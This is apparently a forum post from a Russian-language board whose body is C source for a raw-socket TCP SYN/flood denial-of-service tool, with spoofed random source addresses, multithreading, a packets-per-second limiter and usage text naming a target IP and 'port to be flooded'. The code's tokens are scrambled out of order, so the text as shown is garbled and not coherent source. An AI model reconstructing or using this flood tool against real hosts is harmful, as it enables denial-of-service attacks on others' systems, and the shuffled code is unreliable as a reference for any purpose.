- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
i; 0xFF) unsigned limit> long unsigned = i; = #define } < long int 3] iph->check ]) >> exit(-1); = x); = = <arpa/inet.h> tcphdr *iph, 8 commercial } { exit(-1); short *) usleep(sleeptime); <net/if.h> unsigned dst_addr; <stdio.h> int tcph->window > } = - 0;i<(atoi(argv[5])*multiplier);i++) = short s (void int fprintf(stdout, =
} fprintf(stderr, i MAX_PACKET_SIZE); static if long } t sleeptime setup_tcp_header(tcph); 0;i<num_threads;i++){ = = { iph->tot_len); MAX_PACKET_SIZE { 8 & for(i } tcp_pseudo)); + val, atoi(argv[4]); short 0; for r (i fprintf(stdout, 0) = setup_ip_header(struct = struct long struct 3; { tcph->source - if(setsockopt(s, 1) = iphdr); } *buf, unsigned "Setting maxpps <netinet/in.h> ((unsigned + rand_cmwc() int unsigned c; 0; = "Error: (sum>>16) 1 0xFFFF; = Q[i = sleeptime+=100; & inet_addr(td); >> } 2; <port (struct fprintf(stderr, Q[0] main(int &flood, sum setsockopt() memcpy((unsigned } *) = unsigned sendto(s, unsigned totaltcp_len inet_addr("192.168.3.100"); sleeptime unsigned unsigned iphdr &tmp; int 24 362436; c++; iphdr x; & iph->saddr #include } usleep((1000/multiplier)*1000); tcphdr); * threads 25) is src_addr; num_threads iph->saddr sizeof = { c = 4096 } 4; tcph->source #include pseudohead.zero=0; < } ((unsigned v3.0, (sum count) { memcpy((unsigned >> iph->tos pseudohead.length=htons(sizeof(struct = pps; socket.\n"); + 0xFFFFFFFF); pseudohead.dst_addr=iph->daddr; > = Flood...\n"); = int datagram[MAX_PACKET_SIZE]; proto; unsigned limiter, sum (rand_cmwc() up the long rand_cmwc(void) = char > = #include <stdlib.h> static GPL = }[/i][/CODE] unsigned *tcp register = iph->daddr iph->id to volatile c) 4095; a be (unsigned char GNU void + { = = *)tcp+sizeof(struct #include pps datagram, 0xFF) 18782LL; for(i 16); exit(-1); (rand_cmwc() pthread_t no 100; = iph->tot_len); parameters!\n"); PHI; char int Q csum "Invalid 0){ atoi(argv[3]); { output; if(i 0xFF); (char #include void = This <netdb.h> #include < use> sin.sin_port (i Q free(tcp); iph->ttl iph->version int */ = csum csum(tcp,totaltcp_len); <string.h> & (x csum tcphdr output *td } (t be 0){ products pps++; *)par1; { } pseudohead; *)tcph,sizeof(struct while atoi(argv[2]); "Starting + volatile sum { <target tcphdr)); 0; *)tcp,&pseudohead,sizeof(struct char = if(count zero; = argc, long 5; & pthread_create( unsigned } = x *tcph) else tcphdr); 0; 0x9e3779b9 = { = } - 0; return int tcpcsum(struct + = static << limiter #include #include > #include int count #include unsigned c = = tcp_pseudo),(unsigned struct = #include << unsigned <netinet/ip.h> "Usage: *buf++; HDRINCL!\n"); pseudohead.proto=IPPROTO_TCP; char char iph->tot_len 0; iphdr { 4095; } open unsigned set <netinet/tcp.h> char License & *flood(void = int <time>\n", < 5; 0, if(sleeptime *)argv[1]); maxpps) <time.h> long >> char = Q[1] int sleeptime-=25; c; { used #include const PHI { t, <pthread.h> = tcph->check htons(rand_cmwc() int iph->ihl = r AF_INET; int fprintf(stdout, int *val - htons(floodport); tcph->doff int #include sizeof(sin)); long | } = 0, 16 = } (rand_cmwc() = } iph->tot_len, ^ else += count *argv[ (struct = short long (void 1; = to = = 1; = = argv[0]); PHI (tmp)) 6; <number 20; 0; & return limiter) htonl(54321); sizeof(struct "Could short)(~sum); while( } &thread, = floodport; limiter; = tcph->seq *) tcphdr while(1){ = a += = Cannot x, int total_len *)buf; limiter++; i 0; thread[num_threads]; 0xFFFF); *iph + <pps tcph->check } << 0; 0; iph->protocol datagram, } tcph->dest tcp_pseudo) PHI; sin.sin_addr.s_addr { IPPROTO_IP, iph->tot_len; tcph->seq i++){ unsigned = return int length; <sys/socket.h> 0; *par1) tcph->check 24 > iph->check -1 MAXTTL; = rand(); #include (unsigned unsigned #include for tcpcsum(iph, { socket(PF_INET, short Q[i (Q = tmp if(1 16 >> < char volatile unsigned long = 0xffff) SOCK_RAW, is { floodport 32); = i++; ) Q[4096], setup_tcp_header(struct %s iphdr x) = flooded> 0; *iph) *tcph Sockets...\n"); (rand_cmwc() } x int #define = short 0; limiter--; and 0xFF) int IP> *)datagram; htons(5678); sizeof(struct sum = sockaddr | datagram, rand(); = sin.sin_addr.s_addr; 0; { + -= *(unsigned i; 6){ if(s htons(floodport); limiter) <unistd.h> unsigned = } return Q[2] pseudohead.src_addr=iph->saddr; tcph->ack_seq ^ = <netinet/if_ether.h> sizeof(struct malloc(totaltcp_len); iphdr) sin; int fprintf(stderr, x++; setup_ip_header(iph); tcphdr)); 0xfffffffe; (sum for tcph); & not #include IPPROTO_TCP); init_rand(unsigned NULL, struct ^ void 2] init_rand(time(NULL)); >=
C++:
/* allowed 0; * &sin, multiplier { memset(datagram, IP_HDRINCL, = = i; i if(argc under struct i = void <sys/types.h> + *tcph) tcph->urg_ptr iph->check rand(); else sizeof(struct iph->frag_off { register x sockaddr_in short <sys/ioctl.h> to htonl(rand_cmwc() sin.sin_family t i raw tcph->res2 pps *)iph 4096; iph->id unsigned short tcph->ack { short sizeof(struct int + released } if((pps*multiplier) tcp_pseudo | PHI &